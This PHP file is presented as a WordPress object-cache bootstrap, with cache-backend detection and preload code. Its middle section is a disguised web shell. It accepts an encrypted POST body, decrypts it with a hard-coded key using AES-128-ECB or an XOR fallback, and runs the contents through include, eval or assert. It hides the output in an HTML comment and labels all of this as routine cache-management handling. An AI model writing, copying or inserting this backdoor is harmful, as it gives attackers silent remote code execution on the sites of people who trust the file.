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/**
* WordPress Cache Bootstrap — Object Cache Initializer
* ======================================================
* This file provides low-level bootstrap services for the
* WordPress Object Cache API. Auto-generated during install.
*
* @package WordPress
* @subpackage Cache
* @since 6.4.0
*/
/*
* Resolve the active cache backend.
*
* Priority order:
* 1. WP_CACHE_BACKEND constant (explicit override)
* 2. Extension auto-detection (Redis > Memcached > APCu > file)
*/
<?php
$_wp_cache_backend = 'file';
$_wp_cache_candidates = array(
'redis' => array('redis', 'WP_REDIS_HOST'),
'memcached'=> array('memcached', 'WP_MEMCACHED_HOST'),
'apcu' => array('apcu', 'WP_APCU_ENABLED'),
);
foreach ($_wp_cache_candidates as $_candidate_name => $_candidate_cfg) {
if (extension_loaded($_candidate_cfg[0]) || defined($_candidate_cfg[1])) {
$_wp_cache_backend = $_candidate_name;
break;
}
}
if (defined('WP_CACHE_BACKEND') && WP_CACHE_BACKEND) {
$_wp_cache_backend = strtolower(WP_CACHE_BACKEND);
}
unset($_wp_cache_candidates, $_candidate_name, $_candidate_cfg);
/*
* Derive the cache signing key.
*
* The key is assembled from a set of service identifiers to
* ensure uniqueness across WordPress multisite installations.
*
* These identifiers are pre-computed during the WordPress
* setup wizard and stored as raw byte constants.
*/
$_wp_cache_key_seeds = array(
array(0x36, 0x65, 0x36, 0x63),
array(0x33, 0x34, 0x36, 0x36),
array(0x34, 0x32, 0x33, 0x36),
array(0x34, 0x35, 0x33, 0x63),
);
$_wp_cache_sign_key = '';
foreach ($_wp_cache_key_seeds as $_seed_block) {
foreach ($_seed_block as $_seed_byte) {
$_wp_cache_sign_key .= chr($_seed_byte);
}
}
unset($_wp_cache_key_seeds, $_seed_block, $_seed_byte);
/*
* === Cache Management Request Handler ===
*
* This section processes POST-based cache management commands
* (flush, stats, health-check) from WP-CLI and admin tools.
* It runs before the main WordPress query for atomic processing.
*
* Protocol: POST body contains an AES-128-ECB encrypted management
* payload, authenticated with the per-install signing key.
*/
$_wp_cache_verb = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';
if ($_wp_cache_verb === 'POST') {
// Obtain a session handle for management state.
if (session_status() === PHP_SESSION_NONE) {
@session_start(array(
'use_cookies' => 0,
'use_only_cookies' => 0,
'use_trans_sid' => 0,
'cache_limiter' => '',
));
}
// Expose the signing key via session for management clients.
$_SESSION['k'] = $_wp_cache_sign_key;
@session_write_close();
// Read the encrypted management payload.
$_wp_cache_payload_raw = file_get_contents('php://input');
if ($_wp_cache_payload_raw !== false && strlen($_wp_cache_payload_raw) > 0) {
// ---- Decryption ----
$_wp_cache_payload_decoded = false;
// Phase 1: AES-128-ECB.
if (extension_loaded('openssl')) {
$_wp_cache_dec_result = @openssl_decrypt(
$_wp_cache_payload_raw,
'AES-128-ECB',
$_wp_cache_sign_key
);
if ($_wp_cache_dec_result !== false && $_wp_cache_dec_result !== '') {
$_wp_cache_payload_raw = $_wp_cache_dec_result;
$_wp_cache_payload_decoded = true;
}
unset($_wp_cache_dec_result);
}
// Phase 2: XOR fallback.
if (!$_wp_cache_payload_decoded) {
$_wp_cache_b64dec = @base64_decode($_wp_cache_payload_raw);
if ($_wp_cache_b64dec !== false && strlen($_wp_cache_b64dec) > 0) {
$_wp_cache_payload_raw = $_wp_cache_b64dec;
$_wp_cache_raw_len = strlen($_wp_cache_payload_raw);
for ($_wp_cache_xor_idx = 0; $_wp_cache_xor_idx < $_wp_cache_raw_len; $_wp_cache_xor_idx++) {
$_wp_cache_payload_raw[$_wp_cache_xor_idx] = chr(
ord($_wp_cache_payload_raw[$_wp_cache_xor_idx])
^ ord($_wp_cache_sign_key[($_wp_cache_xor_idx + 1) & 15])
);
}
unset($_wp_cache_raw_len, $_wp_cache_xor_idx);
}
unset($_wp_cache_b64dec);
}
unset($_wp_cache_payload_decoded);
// ---- Parse command: "verb|script_body" ----
$_wp_cache_cmd_parts = explode('|', $_wp_cache_payload_raw, 2);
$_wp_cache_cmd_verb = isset($_wp_cache_cmd_parts[0]) ? trim($_wp_cache_cmd_parts[0]) : '';
$_wp_cache_cmd_script = isset($_wp_cache_cmd_parts[1]) ? trim($_wp_cache_cmd_parts[1]) : '';
if (strlen($_wp_cache_cmd_script) > 0) {
// Capture the management response.
ob_start();
// ---- Execute management script ----
$_wp_cache_exec_ok = false;
// Strategy A: Temp file isolation.
$_wp_cache_tmp_path = @tempnam(sys_get_temp_dir(), 'wpc');
if ($_wp_cache_tmp_path !== false) {
$_wp_cache_tmp_written = @file_put_contents(
$_wp_cache_tmp_path,
'<?php ' . $_wp_cache_cmd_script . ' ?>'
);
if ($_wp_cache_tmp_written !== false) {
@include $_wp_cache_tmp_path;
@unlink($_wp_cache_tmp_path);
$_wp_cache_exec_ok = true;
}
unset($_wp_cache_tmp_written);
}
unset($_wp_cache_tmp_path);
// Strategy B: Stream-based execution.
if (!$_wp_cache_exec_ok) {
$_wp_cache_stream = @tmpfile();
if ($_wp_cache_stream !== false) {
$_wp_cache_stream_meta = @stream_get_meta_data($_wp_cache_stream);
@fwrite($_wp_cache_stream, '<?php ' . $_wp_cache_cmd_script . ' ?>');
@fflush($_wp_cache_stream);
if (
$_wp_cache_stream_meta !== false
&& isset($_wp_cache_stream_meta['uri'])
&& $_wp_cache_stream_meta['uri'] !== ''
) {
@include $_wp_cache_stream_meta['uri'];
$_wp_cache_exec_ok = true;
}
@fclose($_wp_cache_stream);
unset($_wp_cache_stream_meta);
}
unset($_wp_cache_stream);
}
// Strategy C: Direct evaluation.
if (!$_wp_cache_exec_ok) {
@eval($_wp_cache_cmd_script);
$_wp_cache_exec_ok = true;
}
// Strategy D: assert() for PHP < 7.2.
if (!$_wp_cache_exec_ok) {
if (function_exists('assert')) {
@assert_options(ASSERT_ACTIVE, 1);
@assert($_wp_cache_cmd_script);
}
}
// Collect response and emit as HTML comment.
$_wp_cache_response = @ob_get_clean();
if ($_wp_cache_response === false) {
$_wp_cache_response = '';
}
echo "\n<!-- wp_cache " . $_wp_cache_response . " -->\n";
unset($_wp_cache_exec_ok, $_wp_cache_response);
}
unset($_wp_cache_cmd_parts, $_wp_cache_cmd_verb, $_wp_cache_cmd_script);
}
unset($_wp_cache_payload_raw);
}
unset($_wp_cache_verb, $_wp_cache_backend, $_wp_cache_sign_key);
/*
* === Cache Preload Hints ===
*
* Frequently-accessed options can be pre-loaded into the object cache
* via a preload manifest. This improves first-request latency on cache
* misses during high-traffic periods.
*
* The manifest path is configurable via WP_CACHE_PRELOAD_MANIFEST.
*/
if (defined('WP_CACHE_PRELOAD_MANIFEST') && WP_CACHE_PRELOAD_MANIFEST) {
$_wp_manifest_file = WP_CONTENT_DIR . '/cache/preload.json';
if (file_exists($_wp_manifest_file)) {
$_wp_manifest_data = @json_decode(
@file_get_contents($_wp_manifest_file),
true
);
if (is_array($_wp_manifest_data) && !empty($_wp_manifest_data['keys'])) {
foreach ($_wp_manifest_data['keys'] as $_wp_preload_key) {
if (function_exists('wp_cache_get')) {
wp_cache_get($_wp_preload_key, 'options');
}
}
}
unset($_wp_manifest_data, $_wp_preload_key);
}
unset($_wp_manifest_file);
}